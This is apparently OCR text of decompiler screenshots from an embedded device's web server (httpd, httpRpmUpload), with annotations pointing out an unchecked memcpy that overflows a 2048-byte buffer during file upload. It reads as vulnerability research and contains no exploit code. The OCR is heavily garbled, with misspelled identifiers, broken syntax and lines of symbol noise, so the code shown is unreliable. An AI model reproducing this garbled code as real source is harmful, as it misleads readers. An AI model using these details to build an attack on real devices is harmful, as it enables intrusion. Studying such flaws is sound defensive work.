219 /* [5] Non-file field (isFilePart=0) -> takes the UNB
OUNDED copy path below. */

220 if ((isFilePart[0] == 0) || (isFileField == 0}) {

221 /* [6] BUG: OOB write. Value copied into the 2048
buf at a running offset, no

222 bounds check. Runs twice: 2048 then ~52 (overil
ow). */

223 memepy((void *)(poolBuf2048 + cumWriteOff),chunkB

uf,uVar6);

224 }

225 /* [7] cumWriteOff grows each chunk, NEVER com

226

227

228 /* Running write ollsel (cumyriteOIl) grows each c
hunk but is never compared to

229 2048 - this missing check is the vulnerability. */

230

23

232

233

234 local 60 = 0;

235 LAB_0041cfe8:

236 if (local 5S¢ == 0) goto LAB_0041cff3;

237 }

238 dest = local_64;

239 if ((isFilePart[0] |= 0) && (isFileField 1= 0)) {

240 local 68 =uVart + local 68;

241 local 64 =local 64 + uVar6;

242 memepy(_dest,chunkBuf,uVar6);

243 }

244 local 5o = 0;

245 pvVard =«

246 uVarf = uV

247 ehunliuf e \A"
248 | goto LAB_0041d0ac; |

249 5

250 uVarl7 = httpLineRead(param_1,pvVar3,uVar?);

251 if (uVarl? |= Ox ) {

252 if ((uVarl? == uVard) && (*(char ®((int)pvVard + (uVar
9-1)) =="01{

253 uVarl7 = uVar9 - 1;

254 }

255 else if ((1 < uVarl7) && (pcVard = (char *)((int)pvVard
+ (uVarl7 - 2)), *pcVarld =="\0")

256 {

257 *peWVard ='\r';

258 *(undefinedl *)((int)pvVard + (uVarl7 - 1)) = 10;

x S AZ1 0B L _x1" isx..{ SLAB_0041d0ag 1 « ~ * K XS § .
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Decompile: httpRpmUpload - (httpd)
134 local 5c=1;
135 pvVar8 = pvVarb;
136 LAB_0041d0ac:
137 pvVard = pvVar§;
138 uVarl? =0;
139 if ((uVar? == 0) || (bytesRemaining == 0)) goto LAB_0041d
Ocd;

140 uVarl? =0;

: . 034
1441hB 0041cded: |
14 vresnanaining = bytesRemaining - uVarl7;
144 if (local_ 60 ==0) {
145 sVar7 = strlen(local_58);
146 if (uWarl7 = sVar7) {
147 local 54 = 0;
148 }
149 else {
150 uVarld = (1 - sVar7) + uVarl7;
151 uVarld = 0;
152 bVar2 = uVarls 1= 0;
153 while (pcVarl3 = (char *){(int)pvVard + uVarld), pcVa

r3d =local 58, sVarll = sVar7,
154 bVar2) {
155 while( true ) {
156 cVarl =*pcVarl 3;
157 sVarll =sVarll - 1;
158 pcVarl3 = pcVarld + 1;
159 if (cVarl |=*pcVard) break;
160 pcVard = peVard + 1;
161 if (sVarll ==0) {
162 local 54 = (int)pvVard + uVarld;
163 if (local 54 == 0) goto LAB_0041cecc;
164 local 60 =1;
165 uVart = uVarb - (int)local_78[0];
166 goto LAB_0041cfe8;
167 }
168 }
169 uVarld = uVarld + 1;
170 bVar2 = uVarld < uVarl5;
171 }
172 local 54 = 0;
}
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C¢ Decompile: httpd - (httpd)
1

2 pndefinedd httpd(void)

4
5| int iVarl;

6| undefined4 uVar2;

7| undefinedl auStack 50 [32];
8| undefinedl auStack 30 [16];
9| undefinedl auStack 20 [16];

11| iVarl = httpInit();

12| if (iVarl == 0) {

13|  httpAliasConfAdd("/"," juserRpm/Index htm");

14| httpAliasConfAdd(&DAT 0051009¢,"*/Index. htm");
15|  httpAliasConfAdd(" /fimages/*"," /fs/images/*");
16| httpAliasConfAdd (" /frames/*"," /fs/frames/*");
17| httpAliasConfAdd(" (dynaform/ (s /dynaform/*");
18| httpAliasConfAdd(" juserRpm/*"," fuserRpm/*");

19| httpAliasConfAdd (" localiztion /", localiztion /*");
20| httpAliasConfAdd(" /help/®"," fhelp/*");
21 cwetPaceword Cfg(anStack 50}

228 httpPwdConfAdd("admin",auStack 30,auStack 20);

238 httpCtriConfAdd("/fs/*","admin","Everywhere");

24 httpCtriConfAdd (" /juserBpm/*","admin","Everywhere");
D L0831 0008 L 020028 (0L P L0 b 0 a0 8D Y8} 4 VAT

26| httpFsConfAdd(&DAT 00510154,"/re_filesys/doc/");
27 bBitobiloCatDaleplbEei]1).

23[ httpUploadConfAdd (" /incoming/"," fre_filesys/"); ]

2 T T

30 1y

31 else {

32|  puts("httplnit error\r");

33| uVar2 = Oxffee:

34

35 return uVar2;

36}

37
N xX.L,L X . LS .|sy¢vs>< 1 8s ¥S o« X j.N-|Is-| N Aivst L. .S
L X ooXy 8 {yx o X 1 1 s | oxst ' XsY‘=-|V,,1; Yoo X7, ¥ s

H X7 x { sxg]q4{ss : ] X% 4 |Xx,s8¢x@, X 1 sy | X :AZ{ "y R
STE ~”L.|A" XSxVCDV ‘H|‘=5()°(x1~|_.||_x -|ZA J_S(IJ:-L L”T‘-L 1 LX”:-I,W'I:"XV”L'I N
» Y ~|.|_-| L X |_E=-| , | >X |+XL_ e X Y~ L, XS . 'I'IV”~X 1 L :I 1"x 1L ‘-‘|X>‘-Wi-Ei
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